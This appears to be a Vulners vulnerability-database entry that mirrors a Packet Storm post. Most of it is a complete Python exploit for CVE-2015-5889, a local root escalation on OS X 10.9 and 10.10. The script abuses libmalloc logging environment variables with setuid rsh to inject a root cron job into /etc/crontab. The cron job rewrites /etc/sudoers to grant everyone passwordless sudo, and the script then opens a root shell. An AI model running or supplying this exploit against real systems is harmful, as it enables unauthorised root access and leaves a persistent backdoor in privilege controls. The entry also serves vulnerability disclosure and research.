Lucene search
K

issetugid() + rsh + libmalloc OS X Local Root

🗓️ 03 Oct 2015 00:00:00Reported by Philip PetterssonType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 44 Views

issetugid() + rsh + libmalloc OS X Local Root exploi

Related
Code
`# CVE-2015-5889: issetugid() + rsh + libmalloc osx local root  
# tested on osx 10.9.5 / 10.10.5  
# jul/2015  
# by rebel  
  
import os,time,sys  
  
env = {}  
  
s = os.stat("/etc/sudoers").st_size  
  
env['MallocLogFile'] = '/etc/crontab'  
env['MallocStackLogging'] = 'yes'  
env['MallocStackLoggingDirectory'] = 'a\n* * * * * root echo "ALL ALL=(ALL) NOPASSWD: ALL" >> /etc/sudoers\n\n\n\n\n'  
  
sys.stderr.write("creating /etc/crontab..")  
  
p = os.fork()  
if p == 0:   
os.close(1)  
os.close(2)  
os.execve("/usr/bin/rsh",["rsh","localhost"],env)  
  
time.sleep(1)  
  
if "NOPASSWD" not in open("/etc/crontab").read():  
sys.stderr.write("failed\n")  
sys.exit(-1)  
  
sys.stderr.write("done\nwaiting for /etc/sudoers to change (<60 seconds)..")  
  
while os.stat("/etc/sudoers").st_size == s:  
sys.stderr.write(".")   
time.sleep(1)  
  
sys.stderr.write("\ndone\n")  
  
os.system("sudo su")  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

03 Oct 2015 00:00Current
0.6Low risk
Vulners AI Score0.6
EPSS0.04572
44